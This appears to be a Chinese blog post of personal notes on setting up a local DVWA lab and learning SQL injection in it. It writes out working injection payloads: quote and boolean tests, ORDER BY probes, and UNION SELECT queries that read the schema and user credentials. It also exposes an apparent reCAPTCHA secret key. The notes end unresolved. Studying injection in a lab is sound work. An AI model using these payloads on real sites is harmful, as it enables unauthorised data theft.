SQL注入——红蓝攻防学习

2024.01.30

一、搭建环境

参考

DVWA下载、安装、使用(漏洞测试环境搭建)教程-CSDN博客

https://blog.csdn.net/m0_68012373/article/details/128053192

  1. 安装phpstudy

下载phpstudy,小皮面板(phpstudy) - 让天下没有难配的服务器环境!

安装;

启动;

2.安装DVWA

2.1下载DVWA,http://www.dvwa.co.uk/

解压至phpstudy网站根目录www中;

2.2解决爆红

2.2.1密钥补充

将 config.inc.php.dist重命令为 config.inc.php;

修改config.inc.php内容;

在网站https://www.google.com/recaptcha/admin获取密钥并填充

Site key:
6Le5nGApAAAAAFz1FIM91vfNcralxaa1Z721wid5

Secret key:
6Le5nGApAAAAAIjii567w1YbYMfX0NGC_ZVn5yqJ

2.2.2开启PHP url_include模块

在phpstudy安装地址中找到php.ini

将allow_url_include设置为On

重启phpstudy

3.使用DVWA

3.1设置数据库

浏览器打开http://127.0.0.1/DVWA/setup.php

登录,默认用户名为admin,密码为password;

设置安全级别为low

二、学习SQL注入

在输入框输入1并提交,回显正常,输入值被传递给参数“id”;

url头中为“id=1&Submit=Submit#”

查看源码(前两种方法均无法查看php代码);

1)按F12

2)Ctrl+U查看网页源代码

3)访问http://127.0.0.1/DVWA/vulnerabilities/view_source.php?id=sqli&security=low查看php源代码;

可以看到参数“id”没有过滤,且参数值直接拼接给SQL语句,说明可能有SQL注入;

验证前面的判断,用单引号“ ’ ”判断是否存在注入,注意:要使用英文标点单引号;

中文单引号回显正常

输入1’并提交,英文单引号回显不同,有SQL语法报错,则有注入;

或者使用判断语句

输入1’ and 1=1 #回显正常

输入1’ and 1=2 #回显不同,因此判断存在SQL注入

判断了注入存在,接下来使用“order by”语句判断列数;

输入1' order by 2 #回显正常

输入1' order by 3 #报错,说明存在两列

判断完列数以后,可以看一下是否有显示位,如果有就可以在页面显示需要查询的数据库名、表名等,如果没有显示位置,就直接进行盲注了。

2024.02.01

输入1' union select 1,2 #看显示位

可以看到1,2两个字段都是显示位

利用显示位查数据库名和数据库版本

输入1' union select database(), version() #数据库名在第一个显示位,数据库版本在第二个显示位

数据库名为dvwa,数据库版本为5.7.26

由于MySQL版本大于5.0,所以该版本的MySQL有默认的“information_schema”数据库,保存了所有数据库的信息。

在输入框输入1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' #并提交

此时的URL为

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1%27+union+select+table_name%2Ctable_schema+from+information_schema.tables+where+table_schema%3D%27dvwa%27+%23&Submit=Submit#

报错

搜索解决办法https://blog.csdn.net/m0_47470899/article/details/118695774

实际应用:用16进制的方式读取

拼接url:

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata

更改后的url:

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(hex(schema_name)) ,3 from information_schema.schemata

然后再利用在线加解码工具解码;

修改输入内容为1' union select hex(table_name),hex(table_schema) from information_schema.tables where table_schema='dvwa' #并提交

或者修改输入为

1' union select unhex(hex(table_name)),unhex(hex(table_schema)) from information_schema.tables where table_schema='dvwa' #

看到表有”guestbook””users”两个

知道数据库名和库中的表名以后,可以查询表中的所有字段

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #并提交

未报错,但没有显示

group_concat

修改输入为

1' union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=’users’ #

或者是

1' union select 1,group_concat(unhex(hex(column_name))) from information_schema.columns where table_name=’users’ #

并提交

报错

搜索解决办法错误记录:Unknown column ‘xxx‘ in ‘where clause‘_unknown column ''18752331658_v6q0'' in 'where clau-CSDN博客

测试报错原因:

1)符号错误

修改输入为(将单引号改为双引号)

1' union select 1,group_concat(column_name) from information_schema.columns where table_name=“users” #并提交

仍报错

2)多余空格

没有修改的地方

3)引号位置

1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

??????????????????????????????????????????????????????????????????????????????????????????

输入1’ union select user,password from users #

没反应

  • 8
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值